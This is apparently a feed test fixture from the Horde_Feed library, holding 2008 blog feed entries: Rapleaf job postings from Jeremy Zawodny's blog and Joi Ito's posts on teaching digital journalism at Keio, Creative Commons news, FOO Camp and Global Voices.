    • Thrive on working with A-players. Too good to spend long hours with B-players.
    • Likeable person who garners respect on and off the job.
    • Thrive on chaos, risk, and uncertainty.
    • Should be easy to get along with, nice, fun, smart, ethical, and low-maintenance.
    • Strong desire to build a more ethical society.
    • Desire to be an early employee and want to be a real owner in Rapleaf’s future.
    • Want to work with extremely large datasets and indirectly build portable APIs that thousands of other companies can build applications on top of.
    • Ability to lift and install servers (50 lbs)
    • Should want to live in or near San Francisco (relocation available if necessary)

    Perks:

    • Good salary/stock compensation.
    • Personal MacBook Pro or Linux based machine
    • Medical insurance, 401k.
    • Kitchen stocked with food
    • Work with some of the smartest engineers
    • Contribute to the Rapleaf Dev blog (http://blog.rapleaf.com/dev/)

    Again, ping me if you're interested or know someone who might be. I'll make an introduction for you.

    (comments)

    ]]>     10405@http://jeremy.zawodny.com/blog/ Technology Evangelist at New York City Based Startup

    If you saw Fred Wilson's post Are You A Connector?, you know a bit about this job already. It's a NYC based startup developing a new platform in an area that's likely to see serious growth in the next few years.

    They're looking for someone with coding experience who loves showing other developers and users how stuff works: on stage, via blogs, in screencasts, and so on. It's important that this person have a technical (programming) background and also be very comfortable getting in front of people to demo and speak.

    The company is New York based and this job is too. However, I'm told that a Bay Area candidate may work as well, since a presence here will be important. Otherwise, I'm sure that frequent travel to the Bay Area will be part of the gig.

    The company is still a bit stealthy but more information will be forthcoming soon.

    Ping me if you're interested and I'll put you in touch.

    Network/Systems Administrator at Rapleaf in San Francisco

    The folks at Rapleaf ping me from time to time looking for talented engineers too. Here's the description of the position they're currently hiring for.

    Rapleaf is a well-funded San Francisco startup (we’re currently at 15 people). We gather publicly available information from the social web on hundreds of millions of people to enable developers and companies to give their consumers a better user experience. Rapleaf has built the largest portable social graph in the world. We provide rich insight on customers for clients such as retailers, airlines, hotel chains, social networks, lead gen firms, telcos, political campaigns, financial services, and more (these companies learn about their consumers in order to give them a better user experience). The company has processed over 175 million unique searches for businesses and consumers.
    You will maintain Rapleaf’s entire infrastructure and enhance the system to do great things as we’re on the trajectory to change the world. Helping grow one of the largest and most complex databases for a small start-up.

    Role:

    • Manage all Rapleaf servers (Linux – CentOS, Redhat), backups, web servers (Apache clusters)
    • Manage relationship with hosting provider and hardware vendors
    • Scalability and expansion (Hadoop)
    • Systems administration (DNS,LDAP,NFS,TCP/IP,SELinux)
    • Some scripting (Shell, Ruby, Python, or Perl)
    • Administer MySQL databases (multi-master replication, snapshot backups)
    • Learn how to scale with Ruby on Rails
    • Manage complex Java systems
    • Manage billions of data items of pages being served
    • On-call duty
    Note: this job is really hard. You’ll be working with some of the top search engineers in the world and they are going to expect that you kick ass. We’re doing things that no one has ever done before and solving problems that have been open for years.

    Qualifications:

    • Master of all things Internet and Linux.
    • Incredibly smart, can learn fast, and takes no prisoners
    • Learn new platforms fast. We use Ruby on Rails and Java … you can pick this up quickly.
    • Intensely driven and proactive person.
    • Extremely hard working. This is a start-up - team members work long hours.
    • Quick learner and real doer. Err on execution over strategy.
    • Thrive on working with A-players. Too good to spend long hours with B-players.
    • Likeable person who garners respect on and off the job.
    • Thrive on chaos, risk, and uncertainty.
    • Should be easy to get along with, nice, fun, smart, ethical, and low-maintenance.
    • Strong desire to build a more ethical society.
    • Desire to be an early employee and want to be a real owner in Rapleaf’s future.
    • Want to work with extremely large datasets and indirectly build portable APIs that thousands of other companies can build applications on top of.
    • Ability to lift and install servers (50 lbs)
    • Should want to live in or near San Francisco (relocation available if necessary)

    Perks:

    • Good salary/stock compensation.
    • Personal MacBook Pro or Linux based machine
    • Medical insurance, 401k.
    • Kitchen stocked with food
    • Work with some of the smartest engineers
    • Contribute to the Rapleaf Dev blog (http://blog.rapleaf.com/dev/)

    Again, ping me if you're interested or know someone who might be. I'll make an introduction for you.

    (comments)

    ]]>     Random 2008-07-02T21:16:05-08:00 http://jeremy.zawodny.com/blog/archives/010405.html         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-joi.ito.com-index.xml0000664000175000017500000014274312653701626024761 0ustar janjan Joi Ito's Web tag:joi.ito.com,2008-05-17:/weblog//1 2008-07-22T00:44:37Z Joi Ito's conversation with the living web. Movable Type 4.2rc3-en Blogging tag:joi.ito.com,2008:/weblog//1.4879 2008-07-22T00:31:00Z 2008-07-22T00:44:37Z I just arrived at FORTUNE Brainstorm: TECH and noticed that they linked to my blog on the site. (Thanks!) However, I'm having some difficulty trying to figure out what to write about or what "voice" to use. Compared to when... Joi http://joi.ito.com <p>I just arrived at <a href="http://www.timeinc.net/fortune/conferences/brainstormtech/tech_home.html">FORTUNE Brainstorm: TECH</a> and noticed that they linked to my blog on the site. (Thanks!) However, I'm having some difficulty trying to figure out what to write about or what "voice" to use.</p> <p>Compared to when I blogged this event back in 2002, there are a lot of bloggers here now. Personally, I blog a lot less. Blogging had become "work" and my blog had begun to attract such a broad audience that I had to write in an increasingly self-controlled and measured voice, which was boring.</p> <p>Also, the tools have changed. I get more comments on <a href="http://flickr.com/photos/joi/">Flickr</a> than on my blog. <a href="http://twitter.com/joi/">My Twitter feed</a> possibly has as many readers as my blog.</p> <p>I probably can't write much about the conference sitting here in my room though, so I better sling my camera and head over.</p> <p>UPDATE: <a href="http://twitter.com/brainstormtech">Twitter feed of the event.</a></p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/342049766" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/22/blogging.html Photos of my students working tag:joi.ito.com,2008:/weblog//1.4862 2008-07-17T16:40:57Z 2008-07-17T16:41:42Z Just uploaded some photos from today's class in a Flickr set.... Joi http://joi.ito.com <p><a href="http://www.flickr.com/photos/joi/2677570014/" title="Team OCTOPAS by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3197/2677570014_0e23d3b4ee.jpg" width="500" height="333" alt="Team OCTOPAS" /></a></p> <p>Just uploaded some photos from today's class in <a href="http://www.flickr.com/photos/joi/sets/72157606219556640/">a Flickr set</a>.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/338194848" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/17/photos-of-my-st.html KMD Digital Journalism Class Update tag:joi.ito.com,2008:/weblog//1.4856 2008-07-16T20:31:37Z 2008-07-16T20:58:31Z I am now four 90 minute classes and two days through my total of seven classes and four days for the digital journalism class that I'm teaching at Keio. The students are super-motivated and exceptionally bright and I feel honored... Joi http://joi.ito.com <p>I am now four 90 minute classes and two days through my total of seven classes and four days for the digital journalism class that I'm teaching at Keio. The students are super-motivated and exceptionally bright and I feel honored to be their instructor. This is the first year of the Keio Graduate School of Media Design. There is something special about the students in any first year of a new school. I find they tend to be slightly weird, bright and risk-taking and always enjoy getting to know them.</p> <p>Although the class was supposed to be in English, because all of the students are native Japanese speakers, we decided to conduct the class in spoken Japanese.</p> <p>Because we only have four days together, the students and I are under a lot of pressure to get a lot done in a short amount of time, interestingly similar to the deadline pressure of some kinds of journalism.</p> <p>The students seem to be willing to put in the effort, most of the students staying well past the end of the class working in their teams. I also notice them active on IM, email and on the web during my "jet lag zone" of 3AM-5AM.</p> <p>One of the bits of advice that Howard Rheingold gave me for teaching was to quickly divide the group into smaller groups or teams and have them discuss things among themselves. This seems to have worked and I now have four teams working on stories.</p> <p>It was also interesting watching the class change from heated debate about the issues into a sort of newsroom sort of atmosphere as the projects started to take shape. As I popped from group to group, it was fun watching the discussion dance around between the "big idea", the logistics, the design of the output and the nature of the interaction with the public. It reminded me of the energy in teams working on exciting start up companies.</p> <p>Although there is some in-class work and discussion, the bulk of the time will be devoted to the team project. The teams are allowed to use any form of technology to research, interview, and output the story. They will also be evaluated on the quality of the interaction with the audience and the ultimate impact that the project has.</p> <p>The first team is <a href="http://sites.google.com/site/kmddigitaljournalism2008/kyah">team Kyah!</a>. They are working on the question of the future of search. They have begun their research and scheduling interviews. They have a <a href="http://teamkyah.groups.vox.com/">group blog</a> of the team members and have some information on <a href="http://sites.google.com/site/kmddigitaljournalism2008/kyah">their Google Sites page</a>. You should be able to add comments both on the group blog and the Sites pages so any feedback or thoughts would be greatly appreciated.</p> <p>The second team is team OCTOPAS. They are working on trying to understand and report on how the rest of the world views Japan. In particular, they are digging into a story that I told about the Croatian Japanophile/Anime community. They are reaching out in particular to Japanophiles, fan-subbers and anime fans. If you fit in this category, I'm sure they'd like your input. <a href="http://sites.google.com/site/kmddigitaljournalism2008/octopas">Please see their Google Sites page for more information.</a></p> <p>The third team is team Sandwich. Sandwich is working on the digging into photojournalism. Current event-wise, they are looking at the coverage of the G8 protests in Hokkaido. They are also trying to understand the impact of technology on photojournalism and how photojournalism might be changing. As far as I know, they are intending to produce some sort of video as their final output format. They've got some of their thoughts on <a href="http://sites.google.com/site/kmddigitaljournalism2008/sandwich">their Google Sites page</a>. Any comments would be greatly appreciated.</p> <p>The last group is group 1Ds. They have decided to focus on the exploring the differences in Digital Media Policy between Japan and the rest of the world. Because they have a native Portuguese speaker on the team, they are spending some of their time focusing on Brazil and have contacted the Ministry of Culture of Brazil to try to get and interview with Giberto Gil. Their notes and progress are on <a href="http://sites.google.com/site/kmddigitaljournalism2008/1ds">their Google Sites</a> page and would probably appreciate any thoughts you might have.</p> <p>More later as the projects develop.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/337412399" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/16/kmd-digital-jou-1.html Seesmic and Creative Commons tag:joi.ito.com,2008:/weblog//1.4855 2008-07-16T20:17:45Z 2008-07-16T20:25:20Z Seemsic has just implemented Creative Commons. According to Loic, it was the most requested feature by the users. The interface looks super-awesome. Great jobs guys and thanks for supporting the commons! News of Seesmic + CC startles me at 5AM... Joi http://joi.ito.com <p><a href="http://seesmic.com/">Seemsic</a> has just implemented <a href="http://creativecommons.org/">Creative Commons</a>. <a href="http://www.loiclemeur.com/english/2008/07/creative-common.html">According to Loic</a>, it was the most requested feature by the users.</p> <p>The interface looks super-awesome. Great jobs guys and thanks for supporting the commons!</p> <p><span style="padding:0px; margin:0px; display:block"><object width="435" height="355"><param name="movie" value="http://seesmic.com/embeds/wrapper.swf"/><param name="bgcolor" value="#666666"/><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><param name="flashVars" value="video=rhyZ8iQSX6&amp;version=threadedplayer"/><embed src="http://seesmic.com/embeds/wrapper.swf" type="application/x-shockwave-flash" flashVars="video=rhyZ8iQSX6&amp;version=threadedplayer" allowFullScreen="true" bgcolor="#666666" allowScriptAccess="always" width="435" height="355"/></object></span><span style="display:block; width:435px; margin:0px; padding:0px;background:url(http://seesmic.com/images/seesmichtml.gif) left top repeat-x"><a href="http://seesmic.com" target="_blank"><img width="100%" height="29" style="border:none" src="http://seesmic.com/images/spacer.gif" border="0" /></a></span><br /> <em>News of Seesmic + CC startles me at 5AM</em></p> <p><br /> <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/_PIpfo-rkNw&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/_PIpfo-rkNw&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="344"></embed></object><br /> <em>Loic and Jon Phillips from CC talk</em><br /> </p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/337391922" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/16/seesmic-and-cre.html Joining TechCrunch50 Startup Judges tag:joi.ito.com,2008:/weblog//1.4853 2008-07-15T18:23:26Z 2008-07-15T18:32:31Z Joi Ito, Chad Hurley and Loic LeMeur Join TechCrunch50 As Startup Judges. Its hard to believe, but TechCrunch50 is less than two months away. We're knee-deep in the applications right now, and I can tell you it is hard to... Joi http://joi.ito.com <blockquote><strong><a href="http://www.techcrunch.com/2008/07/14/joi-ito-chad-hurley-and-loic-lemeur-join-techcrunch50-as-startup-judges-early-bird-pricing-ends-on-july-15th/">Joi Ito, Chad Hurley and Loic LeMeur Join TechCrunch50 As Startup Judges. </a></strong> <p>Its hard to believe, but TechCrunch50 is less than two months away. We're knee-deep in the applications right now, and I can tell you it is hard to cull them down. It is really impressive how many good new startup ideas are out there.</p> <p>Today, we are announcing our latest line-up of TechCrunch50 Experts: Joi Ito, Chad Hurley and Loic LeMeur. They will join Marc Andreessen, Marc Benioff, Mark Cuban, Chris DeWolf, Marissa Mayer, and others on our panel of experts in judging and advising the presenting TechCrunch50 startups.</p> <p>[...]</blockquote></p> <div class="linlineimage"><a href="http://www.flickr.com/photos/joi/2663498086/" title="Michael Arrington by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3245/2663498086_1717d6589a_t.jpg" width="100" height="67" alt="Michael Arrington" /></a></div>I'd been bumping into Michael here and there on the Net, but recently<a href="http://www.flickr.com/photos/joi/2663498086/"> got to know him in person at FOO Camp.</a> The whole TechCrunch phenomenon has interested me and having met Michael, it continues to be curious and interesting. ;-) <p>Anyway, I hope to get a chance to get to see a bunch of cool new startups and peer into the inner workings of the Crunch-machine through the process.</p> <p>Hope to see you all there.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/336320951" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/15/joining-techcru.html OneWebDay tag:joi.ito.com,2008:/weblog//1.4852 2008-07-14T20:20:35Z 2008-07-14T20:32:37Z I just got this from Susan Crawford today. OneWebDay, http://onewebday.org, is an Earth Day for the Internet that happens each September 22 all around the world. Two years ago, I had fun on OneWebDay making some videos with Bob... Joi http://joi.ito.com <p><img src="http://img.skitch.com/20080714-r47ft82dm84biwxystaqq2rtmu.jpg" alt="skitched-20080715-053206.jpg"/></p> <p>I just got this from <a href="http://scrawford.blogware.com/">Susan Crawford</a> today.</p> <blockquote>OneWebDay, <a href="http://www.onewebday.org/base/index.php/OneWebDay_in_a_box">http://onewebday.org</a>, is an Earth Day for the Internet that happens each September 22 all around the world. Two years ago, I had fun on OneWebDay making some videos with Bob Pepper in Tokyo. <p>OneWebDay's theme this year is online participation in democracy, and I plan to use OneWebDay as an opportunity to speak out about the power of the Net to help all of us expand the idea of citizenship and be part of day-to-day democracy. </p> <p>Who knows where I'll be on Sept. 22. There will be a network of OneWebDay events across the U.S. and around the globe. To catch up with what's happening go to the OneWebDay site, <a href="http://onewebday.org">http://onewebday.org</a>. To start thinking about possible actions you can take on 9/22, go to <a href="http://www.onewebday.org/base/index.php/OneWebDay_in_a_box">http://www.onewebday.org/base/index.php/OneWebDay_in_a_box</a>.</blockquote></p> <p>In addition to Susan being one of the coolest people around, I think OneWebDay is a really important way to remind ourselves that we need to do stuff to keep the Net open and remind everyone about how important the web and the open Internet are for open society.</p> <p>I'll be participating from wherever I am. I looks like I'll either be in Dubai or Tokyo on the 22nd.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/335413302" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/14/onewebday.html KMD Digital Journalism Class tag:joi.ito.com,2008:/weblog//1.4851 2008-07-14T19:57:45Z 2008-07-14T20:09:22Z Starting today, I'm teaching an intensive class on Digital Journalism at the Keio University Graduate School of Media Design. Although I've taught courses at trade schools and classes at universities, this is the first real "course" that I've taught at... Joi http://joi.ito.com <p>Starting today, I'm teaching an intensive class on Digital Journalism at the <a href="http://www.kmd.keio.ac.jp/en/index.html">Keio University Graduate School of Media Design</a>. Although I've taught courses at trade schools and classes at universities, this is the first real "course" that I've taught at a university. I'm looking forward to it, but am also a bit nervous.</p> <p>There are eleven students signed up so far, which is fairly small, but probably easier and more fun for me.</p> <p>The course is packed into a single week, starting with 2 X 90 minute classes for the next three days then a single 90 minute class on Friday. I decided to make this workshop-like and spend the first half of each of the long days talking and discussing and the second half more like a lab where we actually do stuff.</p> <p>I'm going to spend the first day doing an overview of journalism, blogs and various tools and will try to get the students online and using some of the tools on the first day. I'll divide the students into teams and have each team work come up with a story that they want to work on.</p> <p>On the second day, we'll focus on researching our stories. I'm going to require at least one online interview with someone so setting that up will also probably happen on this day.</p> <p>The third day will be focused on producing the story and publishing it. I'll let the students use what ever mix of media they want to use including photography, video, audio and text. I'll also let them choose where and how they want to publish, but I will require some sort of ability for participation of the public. (BTW, this is where all of YOU come in.)</p> <p>On the final day, I'll have the students discuss and critique their works.</p> <p>I hope this turns out to be interesting for me, the students and you. I'll be blogging updates here and in other places like Twitter. <a href="http://sites.google.com/site/kmddigitaljournalism2008/Home">We're going to be using Google Sites for main page of the class.</a></p> <p>If you have any suggestions on stories, tools and other things we should consider, please comment here or on the <a href="http://sites.google.com/site/kmddigitaljournalism2008/Home">Google Sites page</a>.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/335392187" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/14/kmd-digital-jou.html FOO Camp 2008 tag:joi.ito.com,2008:/weblog//1.4850 2008-07-14T18:37:58Z 2008-07-14T18:56:00Z The FOO in FOO Camp stands for "Friend of O'Reilly". That's Tim, not Bill. Anyway, every year, he invites a smallish group of people to Sebastopol to hang out and talk. One problem is that since Tim has a... Joi http://joi.ito.com <p><a href="http://www.flickr.com/photos/joi/2660466415/" title="View from my tent by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3284/2660466415_cca2f9bd0f.jpg" width="500" height="333" alt="View from my tent" /></a></p> <p>The FOO in <a href="http://en.wikipedia.org/wiki/Foo_Camp">FOO Camp</a> stands for "Friend of O'Reilly". That's Tim, not Bill. Anyway, every year, he invites a smallish group of people to Sebastopol to hang out and talk. One problem is that since Tim has a largish group of friends, not everyone gets invited and this sometimes causes hurt feelings. However, I think that there is definitely a maximum size that you can make a meeting like this before it becomes less productive and I think it's just right.</p> <p>So thanks to Tim and the O'Reilly crew for making tough choices, organizing everything and throwing an amazingly fun and useful meeting.</p> <p>The last time that I attended FOO was in 2005. I stayed in a hotel nearby and had a great time, but I definitely had more fun this year camping and staying in my tent. If nothing else, the ability to ignore my jet lag and join the 24 hour conversation whenever I wanted was a lot of fun.</p> <p>Although the sessions were great, catching up with old friends and making ones was the most fun. Also, hearing about the super-secret, face-to-face only stuff was useful too. ;-)</p> <p><a href="http://www.flickr.com/photos/joi/sets/72157606108716088/">I've posted my images in a Flickr set</a>. I think that the calibration on my laptop is possibly screwed up and doing some of this work in a yellow tent didn't help. I'll try to fix some of messed up colors. Apologies to those who look over saturated.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/335343411" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/14/foo-camp-2008.html Radiohead "House of Cards" and Creative Commons tag:joi.ito.com,2008:/weblog//1.4849 2008-07-14T17:15:19Z 2008-07-14T17:51:45Z RA DIOHEA_D / HOU SE OF_C ARDS - Google Code Radiohead just released a new video for its song "House of Cards" from the album "In Rainbows". No cameras or lights were used. Instead two technologies were used to... Joi http://joi.ito.com <p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/8nTFjVm9sTQ&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/8nTFjVm9sTQ&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object></p> <blockquote><a href="http://code.google.com/creative/radiohead/">RA DIOHEA_D / HOU SE OF_C ARDS - Google Code</a> <p>Radiohead just released a new video for its song "House of Cards" from the album "In Rainbows".</p> <p>No cameras or lights were used. Instead two technologies were used to capture 3D images: <a href="http://www.geometricinformatics.com/">Geometric Informatics</a> and <a href="http://www.velodyne.com/lidar/">Velodyne LIDAR</a>. Geometric Informatics scanning systems produce structured light to capture 3D images at close proximity, while a Velodyne Lidar system that uses multiple lasers is used to capture large environments such as landscapes. In this video, 64 lasers rotating and shooting in a 360 degree radius 900 times per minute produced all the exterior scenes.</blockquote></p> <p><a href="http://code.google.com/creative/radiohead/">There are more videos and information on the page for this.</a></p> <p>Exciting for Creative Commons is that the data (although not the music) used to produce this music video are being made available under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 License</a> on the <a href="http://code.google.com/">Google Code</a> site.</p> <p>The Source code to the software used is being made available under a <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License 2.0</a>.</p> <p>This combination of Open Source licenses for code and Creative Commons licenses for data/content is very "good idea".</p> <p><em>The code and the data not the music are available on the <a href="http://code.google.com/p/radiohead/">radiohead Google Project Page</a>.</em></p> <p>Thanks to <a href="http://www.aaronkoblin.com/">Aaron Koblin</a> (the guy who wrote the code), <a href="http://www.radiohead.com/">Radiohead</a>, <a href="http://www.warnerchappell.com/">Warner-Chappell</a> and <a href="http://flickr.com/photos/joi/2662666963/">DeWitt Clinton</a> and his team at Google for taking the lead on this. Awesome video and looking forward to seeing what other people do with the software and data.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/335285708" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/14/radiohead-house.html Esther Wojcicki Joins Creative Commons Board tag:joi.ito.com,2008:/weblog//1.4847 2008-07-11T00:39:08Z 2008-07-11T00:43:02Z We just announced that Esther Wojcicki has joined the Creative Commons board. Wojcicki has been a prominent figure in American education. As the leading mind behind the creation of the country's largest high school journalism program, she has won... Joi http://joi.ito.com <p><a href="http://www.flickr.com/photos/joi/2593396471/" title="Esther Wojcicki by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3153/2593396471_9246951f38.jpg" width="500" height="333" alt="Esther Wojcicki" /></a></p> <p><a href="http://creativecommons.org/press-releases/entry/8469">We just announced that Esther Wojcicki has joined the Creative Commons board.</a></p> <blockquote>Wojcicki has been a prominent figure in American education. As the leading mind behind the creation of the country's largest high school journalism program, she has won numerous awards, including the prestigious title of Teacher of the Year from the California State Teacher Credentialing Commission. Most recently, she received special recognition for her work from the National Scholastic Press Association.</blockquote> <p>In addition to being very cool, tremendously wise and a great addition to the board in general, Esther's expertise in the field of education is very important for us as Creative Commons educational initiative ccLearn develops.</p> <p>Welcome aboard Esther!</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/332217122" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/11/esther-wojcicki.html TechSummit Video Now Online tag:joi.ito.com,2008:/weblog//1.4846 2008-07-10T00:15:50Z 2008-07-10T00:36:17Z TechSummit Video Now Online Greg Grossmeier, July 9th, 2008 Creative Commons held our first TechSummit at Google last month. This event included an update and overview of Creative Commons technologies, panels featuring other leaders in open digital rights technologies,... Joi http://joi.ito.com <p> <blockquote><a href="http://creativecommons.org/weblog/entry/8461">TechSummit Video Now Online</a></p> <p>Greg Grossmeier, July 9th, 2008</p> <p>Creative Commons held our first <a href="http://wiki.creativecommons.org/TechSummit">TechSummit</a> at Google last month. This event included an update and overview of Creative Commons technologies, panels featuring other leaders in open digital rights technologies, and a look at the future, including the role of digital copyright registries. If you are curious of who all the speakers were you can still find the list on the <a href="http://wiki.creativecommons.org/Creative_Commons_Technology_Summit_2008-06-18">TechSummit informational page</a>. Many presenters' slides are also available from that page.</p> <p>For those that could not attend the Tech Summit can now view the entire event online thanks to Google (who graciously hosted the event for us). There are four 1-hour long videos available and they are broken up by sessions. You can find session topics and presenters on the <a href="http://wiki.creativecommons.org/Creative_Commons_Technology_Summit_2008-06-18">TechSummit information page</a>.</p> <p><a href="http://youtube.com/watch?v=I7ku6r3lW2A">Video 1</a>:</p> <p> * Welcome and mini-keynote (Joi Ito)<br /> * Talk: <a href="http://labs.creativecommons.org/%7Enathan/talks/2008-techsummit-ccrel/">Introduction to ccREL</a> (Ben Adida)<br /> * Panel: Current CC, Science Commons, and ccLearn technology initiatives</p> <p><a href="http://youtube.com/watch?v=2YodLbZUDdE">Video 2</a>:</p> <p> * Panel: Digital Asset Management on the web and the desktop<br /> * Talk: <a href="http://www.slideshare.net/mlinksva/cc-tech-summit-digital-copyright-registry-landscape">Digital copyright registry technology landscape, challenges, opportunities</a> (Mike Linksvayer)</p> <p><a href="http://youtube.com/watch?v=7RrnYD6Jlvg">Video 3</a>:</p> <p> * Panel: Developers of digital copyright registries and similar animals</p> <p><a href="http://youtube.com/watch?v=QspHexLngJA">Video 4</a>:</p> <p> * Plenary: "Copyright 2.0″ technologies and digital copyright registries: what next?<br /> </blockquote></p> <p>The summit was a super-useful event for us thanks to everyone who came out and participated. Also, special thanks to Google for sponsoring the event.</p> <p>The technological infrastructure is exceedingly important for the success of Creative Commons and as it becomes more pervasive, the discussion around standards and interoperability becomes more and more important. We need to make sure we involve as many of the relevant parties as we can and that we try to get things right.</p> <p>We plan on continue to do these so your feedback on this last one would greatly appreciated and don't forget to sign up for the next one.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/331247609" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/10/techsummit-vide.html Rising Voices tag:joi.ito.com,2008:/weblog//1.4844 2008-07-06T16:20:43Z 2008-07-06T16:32:34Z Rising Voices is one of the coolest new projects at Global Voices.Rising Voices, an outreach initiative of Global Voices, aims to help bring new voices from new communities and speaking new languages to the global conversation by providing resources and... Joi http://joi.ito.com <p><a href="http://rising.globalvoicesonline.org/">Rising Voices</a> is one of the coolest new projects at <a href="http://www.globalvoicesonline.org/">Global Voices</a>.<blockquote>Rising Voices, an outreach initiative of Global Voices, aims to help bring new voices from new communities and speaking new languages to the global conversation by providing resources and funding to local groups reaching out to underrepresented communities.</p> <p>[...]</p> <p>Launched in May 2007 thanks to the support of a Knight News Challenge Award, Rising Voices seeks to empower under-represented communities to make their voices heard online by 1.) providing financial support to outreach projects, 2.) developing a series of participatory media tutorials, and 3.) cultivating a network of passionate citizen media activists to help encourage and support the replication of outreach trainings.</blockquote>Lead by David Sasaki and Rezwan, the team has done an amazing job in the last year bringing commmunities and projects online.</p> <p><iframe src="http://dotsub.com/api/player.php?filmid=4534&filminstance=4536&language=en" frameborder="0" width="480" height="392"></iframe></p> <p>This is a dotSUB video recapping some of the projects from last year. Please take a look and register and help finish translating it to to your native language if the translation is incomplete.</p> <p>Congratulations to the whole team.</p> <p><a href="http://www.flickr.com/photos/joi/2620509179/" title="Solana Larsen and David Sasaki by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3246/2620509179_3679642384.jpg" width="500" height="336" alt="Solana Larsen and David Sasaki" /></a><br /> David Sasaki</p> <p><a href="http://flickr.com/photos/nehavish/2615158525/"><img src="http://farm4.static.flickr.com/3110/2615158525_7724a50a6a.jpg"></a><br /> Rezwan<br /> <a href="http://flickr.com/photos/nehavish/2615158525/">Photo</a> by <a href="http://flickr.com/people/nehavish/">Neha Viswanathan</a> - <a href="http://creativecommons.org/licenses/by-nc/2.0/deed.en">Creative Commons Attribution-Noncommercial 2.0 Generic License</a></p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/328155060" height="1" width="1"/> http://joi.ito.com/weblog/2008/07/06/rising-voices.html Global Voices Summit 2008 in Budapest tag:joi.ito.com,2008:/weblog//1.4840 2008-06-30T16:41:55Z 2008-07-01T10:05:11Z We just wrapped up the Global Voices Summit in Budapest. I unfortunately missed the first public half of the Summit, but participated in the meeting afterwords for the authors, editors and the staff. It was amazing to see so... Joi http://joi.ito.com <p><a href="http://www.flickr.com/photos/joi/2623889633/" title="LOL by Joi, on Flickr"><img src="http://farm4.static.flickr.com/3112/2623889633_acc7f108ce.jpg" width="500" height="336" alt="LOL" /></a></p> <p>We just wrapped up the <a href="http://summit08.globalvoicesonline.org/">Global Voices Summit</a> in Budapest. I unfortunately missed the first public half of the Summit, but participated in the meeting afterwords for the authors, editors and the staff. It was amazing to see so many countries and regions discussing issues face to face in combinations that only the UN would come close to. It was a really great meeting everyone and the last session was tear-jerking, listening to everyone's stories.</p> <p>Since the first <a href="http://joi.ito.com/weblog/2004/12/14/global-voices.html">Global Voices meeting in 2004</a>, I've been peripherally involved, most recently as a board member. I'd seen the site growing and growing, but the scale, quality and commitment of the community involved in running this multi-national, multi-lingual blogging effort really hit me after attending this conference and I'm even prouder than ever to be able to part of this movement.</p> <p>Global Voices is a super-important part in fixing what I call the "caring problem". There is a systemic bias against reporting international news in most developed nations. When pressed, many editors will say that people just don't want to read articles about other parts of the world. This is because most people don't care. They don't care because they don't hear the voices or know people in other countries. I think that by providing voices to all over the world, we have the ability to connect people and get people to care more.</p> <p>I also believe that voice is probably more important than votes or guns. I believe that combating extremism is most effectively done by winning the argument in public, not by censorship, elections or destruction. I believe that providing everyone with a voice to participate in the global dialog is key. The ability to communication and connect without permission or fear of retribution is a pillar of open society in the 21st Century. Global Voices is the best example of this that I know of.</p> <p>UPDATE: <a href="http://flickr.com/photos/joi/sets/72157605875973583/">My photos</a> and <a href="http://flickr.com/photos/tags/gvsummit08/interesting/">everyone's photos</a> of the meeting are on Flickr.</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/323406084" height="1" width="1"/> http://joi.ito.com/weblog/2008/06/30/global-voices-s.html Featured on gapingvoid widget today w00t tag:joi.ito.com,2008:/weblog//1.4839 2008-06-30T13:31:38Z 2008-06-30T13:36:40Z This cartoon was featured on the gapingvoid cartoon widget today. What a blast from the past - a legacy from when my blog was actually widely read. ;-) Thanks Hugh!... Joi http://joi.ito.com <p><img src="http://www.gapingvoid.com/Moveable_Type/archives/aaaaaaaa02.jpg"></p> <p><a href="http://www.gapingvoid.com/Moveable_Type/archives/000025.html">This cartoon</a> was featured on the <a href="http://www.gapingvoid.com/widget/">gapingvoid cartoon widget</a> today. What a blast from the past - a legacy from when my blog was actually widely read. ;-)</p> <p>Thanks Hugh!</p> <img src="http://feeds.feedburner.com/~r/joi-ito/weblog/~4/323246813" height="1" width="1"/> http://joi.ito.com/weblog/2008/06/30/featured-on-gap.html Photoshopped George Lucas and JJ Abrams photo tag:joi.ito.com,2008:/weblog//1.4838 2008-06-30T12:44:37Z 2008-06-30T12:56:10Z Photoshopped version of my photo by unknown artist - I do not own the copyright to this derivative work The original image It was awhile ago, 